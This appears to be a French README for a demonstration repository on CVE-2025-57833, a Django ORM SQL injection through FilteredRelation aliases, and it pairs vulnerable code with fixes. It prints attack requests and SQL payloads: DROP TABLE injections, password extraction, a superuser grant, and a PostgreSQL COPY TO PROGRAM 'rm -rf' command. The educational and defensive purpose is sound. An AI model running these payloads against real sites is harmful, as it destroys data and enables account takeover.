CVE-2025-57833 : Vulnérabilité d'injection SQL dans Django

Ce dépôt démontre et explique la CVE-2025-57833, une vulnérabilité critique d'injection SQL dans l'ORM de Django qui affecte les versions 4.2 antérieures à 4.2.24, 5.1 antérieures à 5.1.12 et 5.2 antérieures à 5.2.6.

🚨 Aperçu de la vulnérabilité

Score CVSS : 9.8 (Critique)
Impact : Injection SQL menant à une exécution de code à distance (RCE)
Authentification requise : Aucune (attaque non authentifiée)

📚 Comprendre le contexte

Qu'est-ce que l'ORM de Django ?

L'ORM de Django (Object-Relational Mapping) permet aux développeurs d'interagir avec les bases de données en utilisant du code Python plutôt que du SQL brut. Par exemple :

# Au lieu de SQL brut : SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

Qu'est-ce que FilteredRelation ?

FilteredRelation est une fonctionnalité de Django qui permet de joindre des tables avec des conditions de filtrage supplémentaires :

# Jointure des books avec les authors, mais uniquement les authors actifs
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

Que sont les noms de champs dynamiques ?

Parfois, les développeurs doivent créer des noms de champs dynamiquement à partir des entrées utilisateur :

# L'utilisateur souhaite rechercher selon différents critères
search_field = request.POST.get('field_name')  # Entrée utilisateur : "title", "author", etc.

# Création dynamique de champ avec **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 La vulnérabilité expliquée

Comment la vulnérabilité se produit-elle ?

La vulnérabilité survient lorsque des entrées utilisateur non assainies sont utilisées comme clés de dictionnaire dans annotate() ou alias() avec FilteredRelation. Voici le processus étape par étape :

Étape 1 : Schéma de code vulnérable

# Voici ce que font les applications vulnérables :
user_input = request.POST.get('search_field')  # L'attaquant contrôle ceci

# La vulnérabilité est ici - l'entrée utilisateur devient un alias de colonne SQL
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEREUX
})

Étape 2 : Entrée malveillante

Un attaquant envoie une entrée malveillante :

user_input = "malicious_field'; DROP TABLE users; --"

Étape 3 : Génération SQL

Django génère du SQL comme ceci :

SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Étape 4 : Exécution de l'injection SQL

Le SQL malveillant est exécuté, ce qui peut potentiellement :

Supprimer des tables
Extraire des données sensibles
Exécuter des commandes arbitraires (RCE)

🔍 Scénario d'attaque réel

Schéma vulnérable courant

De nombreuses applications Django disposent d'une fonctionnalité de recherche où les utilisateurs peuvent choisir le champ à rechercher :

# views.py - Schéma vulnérable courant
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Le développeur pense que c'est sûr - CE N'EST PAS LE CAS !
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Vecteur d'attaque

# L'attaquant envoie cette requête POST :
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Code sûr vs code vulnérable

❌ Code vulnérable

# NE FAITES JAMAIS CELA - Entrée utilisateur directe comme clé de dictionnaire
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Injection SQL !
})

✅ Code sûr - Approche par liste blanche

# SÛR - Utilisez une validation par liste blanche
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Désormais sûr
})

✅ Code sûr - Noms de champs statiques

# SÛR - Utilisez des noms de champs statiques
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Escalade d'impact : de l'injection SQL au RCE

1. Divulgation d'informations

-- Extraction de données sensibles
'; SELECT username, password FROM auth_user; --

2. Manipulation de la base de données

-- Modification de données
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Exécution de code à distance (PostgreSQL)

-- Exécution de commandes système (PostgreSQL avec les extensions appropriées)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Stratégies d'atténuation

1. Validation des entrées (recommandé)

ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Évitez les noms de champs dynamiques

# Au lieu de noms de champs dynamiques, utilisez une logique conditionnelle
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Mettez à jour Django

Mettez à jour vers la dernière version de Django :

Django 4.2.24+
Django 5.1.12+
Django 5.2.6+

🧪 Tester cette vulnérabilité

Ce dépôt inclut un environnement de test complet :

# Exécuter l'application Django vulnérable
docker-compose up

# Tester la vulnérabilité
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

Pour des instructions de test détaillées, voir document/README.md.

📖 Références

Avis de sécurité Django : Django security releases issued: 5.2.6, 5.1.12, and 4.2.24
Analyse technique : Django Unauthenticated 0-click RCE and SQL Injection par Eyal Gabay
Détails de la CVE : CVE-2025-57833 Django SQL Injection

⚠️ Avertissement

Ce dépôt est uniquement destiné à des fins éducatives et de sécurité défensive. N'utilisez pas ces informations pour attaquer des systèmes dont vous n'êtes pas propriétaire ou que vous n'avez pas l'autorisation de tester.

CVE-2025-57833

Populaires